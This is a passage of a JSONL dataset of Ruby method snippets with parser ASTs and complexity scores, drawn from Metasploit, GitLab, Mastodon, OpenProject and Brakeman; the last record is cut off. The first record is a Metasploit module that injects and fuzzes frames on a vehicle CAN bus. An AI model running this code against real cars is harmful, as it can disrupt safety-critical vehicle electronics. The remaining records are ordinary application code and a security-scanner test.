+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/hardware/automotive/canprobe.rb","start_line":40,"raw_source":"def run\n unless client.automotive\n print_error('The hwbridge requires a functional automotive extention')\n return\n end\n stopid = datastore['STARTID']\n stopid = datastore['STOPID'] unless datastore['STOPID'].nil?\n data = '%02X' % datastore['PROBEVALUE']\n (datastore['STARTID']..stopid).each do |id|\n print_status(\"Probing 0x#{id.to_s(16)}...\")\n 8.times do |pos|\n padding = '00' * pos\n endpadding = ''\n endpadding = ('%02X' % datastore['PADDING']) * (7 - pos) if !datastore['PADDING'].nil?\n if datastore['FUZZ']\n 256.times do |fuzzdata|\n client.automotive.cansend(datastore['CANBUS'], id.to_s(16), padding + ('%02X' % fuzzdata) + endpadding)\n end\n else\n client.automotive.cansend(datastore['CANBUS'], id.to_s(16), padding + data + endpadding)\n end\n end\n end\n print_status('Probe Complete')\n end","complexity_score":94.73,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The hwbridge requires a functional automotive extention\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stopid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STARTID\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOPID\"]}]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"stopid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOPID\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02X\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PROBEVALUE\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STARTID\"]}]},{\"type\":\"lvar\",\"children\":[\"stopid\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Probing 0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[8]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pos\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"padding\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"00\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"endpadding\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PADDING\"]}]},\"nil?\"]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"endpadding\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02X\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PADDING\"]}]}]}]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"-\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FUZZ\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[256]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fuzzdata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"cansend\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CANBUS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%02X\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"fuzzdata\"]}]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"endpadding\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"automotive\"]},\"cansend\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CANBUS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"padding\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"endpadding\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Probe Complete\"]}]}]}]}","id":"5e9593dc-31be-4cff-a17c-eacab959cb4a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/merge_service.rb","start_line":126,"raw_source":"def delete_source_branch?\n params.fetch('should_remove_source_branch', @merge_request.force_remove_source_branch?) &&\n @merge_request.can_remove_source_branch?(branch_deletion_user)\n end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_source_branch?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"should_remove_source_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"force_remove_source_branch?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"can_remove_source_branch?\",{\"type\":\"send\",\"children\":[null,\"branch_deletion_user\"]}]}]}]}","id":"08974cf3-ca81-4afc-a5de-613a5ead7837"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/config/initializers/2_secret_token.rb","start_line":111,"raw_source":"def set_missing_keys(defaults)\n defaults.each_with_object({}) do |(key, default), missing|\n next if Rails.application.credentials.public_send(key).present?\n\n warn_missing_secret(key)\n\n missing[key] = Rails.application.credentials[key] = default\n end\n end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_missing_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"defaults\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"defaults\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"default\"]}]},{\"type\":\"arg\",\"children\":[\"missing\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"credentials\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"present?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"warn_missing_secret\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"credentials\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"default\"]}]}]}]}]}]}","id":"55ec4126-26f0-4c82-b51d-16bad42c47da"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/create.rb","start_line":205,"raw_source":"def process_tags\n return if @object['tag'].nil?\n\n as_array(@object['tag']).each do |tag|\n if equals_or_includes?(tag['type'], 'Hashtag')\n process_hashtag tag\n elsif equals_or_includes?(tag['type'], 'Mention')\n process_mention tag\n elsif equals_or_includes?(tag['type'], 'Emoji')\n process_emoji tag\n end\n end\n end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tag\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"as_array\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tag\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Hashtag\"]}]},{\"type\":\"send\",\"children\":[null,\"process_hashtag\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Mention\"]}]},{\"type\":\"send\",\"children\":[null,\"process_mention\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equals_or_includes?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"Emoji\"]}]},{\"type\":\"send\",\"children\":[null,\"process_emoji\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},null]}]}]}]}]}]}","id":"ad38dbcd-e96b-4471-a79b-6cc8bd2b736c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/pipelines_finder.rb","start_line":144,"raw_source":"def by_source(items)\n return items unless ::Ci::Pipeline.sources.key?(params[:source])\n\n items.with_pipeline_source(params[:source])\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"by_source\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"Pipeline\"]},\"sources\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"with_pipeline_source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]}]}]}]}","id":"692cb33c-bd06-4690-891f-1d77207fc85a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/members/invite_accepted_mailer.rb","start_line":11,"raw_source":"def email\n return unless valid_to_email?\n\n mail_with_locale(\n to: member.created_by.notification_email_for(member_source.notification_group),\n subject: EmailsHelper.subject_with_prefix_and_suffix(['Invitation accepted'])\n )\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_to_email?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"mail_with_locale\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"created_by\"]},\"notification_email_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member_source\"]},\"notification_group\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailsHelper\"]},\"subject_with_prefix_and_suffix\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Invitation accepted\"]}]}]}]}]}]}]}]}","id":"67c4bfd2-44cd-420f-aaa9-4b0cab11c651"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/config.rb","start_line":22,"raw_source":"def self.sign_in_enabled?\n enabled? && !prevent_ldap_sign_in?\n end","complexity_score":4.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sign_in_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prevent_ldap_sign_in?\"]},\"!\"]}]}]}","id":"0d83a712-9e9d-4e33-8a74-d86897200022"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/services/upsert_issue_note.rb","start_line":37,"raw_source":"def call(payload, work_packages: [])\n find_or_initialize(payload).tap do |issue|\n issue.update!(work_packages: issue.work_packages | work_packages, **extract_params(payload))\n end\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"kwoptarg\",\"children\":[\"work_packages\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_or_initialize\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_packages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"work_packages\"]},\"|\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extract_params\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]}]}","id":"17c65e1d-8246-4d26-9171-18b1f89e6dc1"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/settings.rb","start_line":35,"raw_source":"def week_with_all_days_working\n Setting.working_days = Array(1..7)\nend","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"week_with_all_days_working\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"working_days=\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[7]}]}]}]}]}","id":"525cf8a9-f13e-4779-95b6-fd1fb15edd21"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/projects/update_contract.rb","start_line":49,"raw_source":"def project_attributes_only = options[:project_attributes_only].present?","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"project_attributes_only\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_attributes_only\"]}]},\"present?\"]}]}","id":"9d55b0da-a560-4991-ac39-a00b05a48d46"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/work_packages/automatic_mode/migrate_values_job.rb","start_line":51,"raw_source":"def create_temporary_tables\n execute(<<~SQL.squish)\n CREATE UNLOGGED TABLE temp_wp_values\n AS SELECT\n id,\n start_date,\n due_date,\n schedule_manually\n FROM work_packages\n SQL\n execute(<<~SQL.squish)\n CREATE MATERIALIZED VIEW follows_relations\n AS SELECT\n relations.id as id,\n relations.from_id as succ_id,\n COALESCE(wp_pred.due_date, wp_pred.start_date) as pred_date,\n COALESCE(wp_succ.start_date, wp_succ.due_date) as succ_date,\n wp_succ.schedule_manually as succ_schedule_manually\n FROM relations\n LEFT JOIN work_packages wp_pred ON relations.to_id = wp_pred.id\n LEFT JOIN work_packages wp_succ ON relations.from_id = wp_succ.id\n WHERE relation_type = 'follows'\n SQL\n execute(\"CREATE INDEX ON follows_relations (succ_id)\")\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_temporary_tables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE UNLOGGED TABLE temp_wp_values\\n\"]},{\"type\":\"str\",\"children\":[\"AS SELECT\\n\"]},{\"type\":\"str\",\"children\":[\" id,\\n\"]},{\"type\":\"str\",\"children\":[\" start_date,\\n\"]},{\"type\":\"str\",\"children\":[\" due_date,\\n\"]},{\"type\":\"str\",\"children\":[\" schedule_manually\\n\"]},{\"type\":\"str\",\"children\":[\"FROM work_packages\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE MATERIALIZED VIEW follows_relations\\n\"]},{\"type\":\"str\",\"children\":[\"AS SELECT\\n\"]},{\"type\":\"str\",\"children\":[\" relations.id as id,\\n\"]},{\"type\":\"str\",\"children\":[\" relations.from_id as succ_id,\\n\"]},{\"type\":\"str\",\"children\":[\" COALESCE(wp_pred.due_date, wp_pred.start_date) as pred_date,\\n\"]},{\"type\":\"str\",\"children\":[\" COALESCE(wp_succ.start_date, wp_succ.due_date) as succ_date,\\n\"]},{\"type\":\"str\",\"children\":[\" wp_succ.schedule_manually as succ_schedule_manually\\n\"]},{\"type\":\"str\",\"children\":[\"FROM relations\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN work_packages wp_pred ON relations.to_id = wp_pred.id\\n\"]},{\"type\":\"str\",\"children\":[\"LEFT JOIN work_packages wp_succ ON relations.from_id = wp_succ.id\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE relation_type = 'follows'\\n\"]}]},\"squish\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"CREATE INDEX ON follows_relations (succ_id)\"]}]}]}]}","id":"f166bfaf-28a2-4485-a505-861eefa0300b"}
+{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":355,"raw_source":"def test_sql_injection_chained_call_in_scope\n assert_warning :type => :warning,\n :warning_code => 0,\n :fingerprint => \"aa073ab210f9f4a800b5595241a6274656d37087a4f433d4b596516e1227d91b\",\n :warning_type => \"SQL Injection\",\n :line => 6,\n :message => /^Possible\\ SQL\\ injection/,\n :confidence => 1,\n :relative_path => \"app/models/user.rb\",\n :user_input => s(:lvar, :col)\n end","complexity_score":2.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sql_injection_chained_call_in_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"aa073ab210f9f4a800b5595241a6274656d37087a4f433d4b596516e1227d91b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"SQL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ SQL\\\\ injection\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"col\"]}]}]}]}]}]}","id":"baa415d9-e96f-4918-9c6a-0b1679e96ffd"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/my/backup_codes_controller.rb","start_line":31,"raw_source":"def check_regenerate_done\n @backup_codes = flash[:_backup_codes]\n flash.delete :_backup_codes\n\n unless @backup_codes.present?\n flash[:error] = I18n.t(:notice_bad_request)\n redirect_to my_2fa_devices_path\n end\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_regenerate_done\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@backup_codes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"_backup_codes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"_backup_codes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@backup_codes\"]},\"present?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_bad_request\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"my_2fa_devices_path\"]}]}]}]}]}]}","id":"8e79a18b-dca8-4b70-8167-6c33f42ed6da"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/widget/filters/work_package.rb","start_line":34,"raw_source":"def render\n write(content_tag(:div, id: \"#{filter_class.underscore_name}_arg_1\", class: \"advanced-filters--filter-value\") do\n label = html_label\n\n selected_values = map_filter_values\n\n box = angular_component_tag \"opce-autocompleter\",\n inputs: {\n filters: [],\n InputName: \"values[#{filter_class.underscore_name}]\",\n hiddenFieldAction: \"change->reporting--page#selectValueChanged\",\n multiple: true,\n defaultData: true,\n model: selected_values.compact,\n url: ::API::V3::Utilities::PathHelper::ApiV3Path.work_packages,\n resource: \"work_packages\",\n searchKey: \"subjectOrId\"\n },\n id: \"#{filter_class.underscore_name}_select_1\",\n class: \"filter-value advanced-filters--ng-select\"\n\n content_tag(:span, class: \"inline-label\") do\n label + box\n end\n end)\n end","complexity_score":29.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"div\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_class\"]},\"underscore_name\"]}]},{\"type\":\"str\",\"children\":[\"_arg_1\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"advanced-filters--filter-value\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[null,\"html_label\"]}]},{\"type\":\"lvasgn\",\"children\":[\"selected_values\",{\"type\":\"send\",\"children\":[null,\"map_filter_values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"box\",{\"type\":\"send\",\"children\":[null,\"angular_component_tag\",{\"type\":\"str\",\"children\":[\"opce-autocompleter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inputs\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filters\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"InputName\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"values[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_class\"]},\"underscore_name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hiddenFieldAction\"]},{\"type\":\"str\",\"children\":[\"change->reporting--page#selectValueChanged\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multiple\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"defaultData\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"selected_values\"]},\"compact\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"V3\"]},\"Utilities\"]},\"PathHelper\"]},\"ApiV3Path\"]},\"work_packages\"]}]},{\"type\":\"pair\",\"children\":[{